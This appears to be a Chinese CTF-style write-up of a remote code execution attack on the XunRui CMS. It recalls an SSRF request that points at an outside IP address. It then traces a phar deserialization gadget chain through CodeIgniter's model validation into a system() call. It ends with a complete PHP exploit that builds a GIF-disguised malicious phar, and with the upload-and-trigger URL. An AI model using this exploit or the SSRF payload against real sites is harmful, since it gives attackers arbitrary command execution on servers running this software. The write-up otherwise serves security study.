24年国赛初赛出过迅睿
当时是打一个SSRF
?s=api&c=api&m=qrcode&text=xxx&size=1024&level=1&thumb=http://124.222.136.33:1338/302.php
但该版本已修了,禁用了http(s)协议

存在getimagesize,可以触发phar反序列化
只要找到个链子,再随便找个文件上传点就能拿下了
比如上传头像

接下来看链子的逻辑



这是一个事件触发器方法,用于按顺序执行指定事件的所有回调函数并传递处理数据
注意只能调本类的方法

选用本类的validate方法

找一个符合传参格式的run

后面会调用processRules

看下processRules实现
将rule的值设为system,value的值设为calc即RCE

目标已知后,回头再来看
先来看$rule从何来
首先BaseModel.validate先调用getValidationRules()

$rules为本类的validationRules属性
接下来调用validation对象的loadRuleGroup方法

$this->config->validationRules作为setRules的参数

setRules会进行一些预处理,类似"套一层壳"
如,当rule直接为字符串时,则会转成一个以'rules'为键的数组,数组的值为split后的rule
举例:
$rules = ['test' => 'system'];
// 转换为:
['test' => ['rules' => ['system']]]

接下来令cleanValidationRules为false,过掉if
再次走入setRules,对规范化后的$rules无影响

最后带着DBGroup走入run

DBGroup的值被赋给$data['DBGroup']

dot_array_search的实现其实就是从data数组中去查询field字段对应的值
而data\['DBGroup'\]值为传入的dbGroup
所以只要令field为DBGroup即可使value可控

回头看,$rules实际上就是"脱了setRules套的壳"

走到最后,value和rules都是我们可控的

rule为rules数组键值对的值
最终任意代码执行

最终exp:
<?php
namespace CodeIgniter\Cache\Handlers {
use CodeIgniter\Session\Handlers\MemcachedHandler;
class RedisHandler {
protected $redis;
public function __construct(MemcachedHandler $memcachedHandler) {
$this->redis = $memcachedHandler;
}
}
}
namespace CodeIgniter\Session\Handlers {
use CodeIgniter\Model;
use CodeIgniter\Validation\Validation;
class MemcachedHandler {
protected $memcached;
public $lockKey;
public function __construct($lockKey = '123', Model $model = null) {
$this->lockKey = $lockKey;
$this->memcached = $model ?: new Model(new Validation());
}
}
}
namespace CodeIgniter {
use CodeIgniter\Validation\Validation;
abstract class BaseModel {
}
class Model extends BaseModel {
public $validation;
public $tempAllowCallbacks;
public $beforeDelete;
public $validationRules;
public $cleanValidationRules;
public $DBGroup;
public function __construct(Validation $validation,$cmd = 'calc') { //这里控制执行的命令
$this->validation = $validation;
$this->tempAllowCallbacks = true;
$this->beforeDelete = ['abc' => 'validate'];
$this->validationRules = 'rules';
$this->DBGroup = $cmd;
$this->cleanValidationRules = false;
}
}
}
namespace CodeIgniter\Validation {
class Validation {
protected $config;
protected $rules = [];
protected $ruleSetFiles;
public function __construct() {
$this->config = $this;
$this->rules = ['DBGroup' => 'system'];
$this->ruleSetFiles = [0 => 'stdClass'];
}
}
}
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
use CodeIgniter\Session\Handlers\MemcachedHandler;
$memcachedHandler = new MemcachedHandler();
$redisHandler = new RedisHandler($memcachedHandler);
$phar = new Phar("shell.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($redisHandler);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
生成恶意phar

先上传恶意phar

触发phar反序列化
?s=api&c=api&m=qrcode&text=1111&size=10001&level=1&thumb=phar://./uploadfile/member/000/00/00/1.jpg
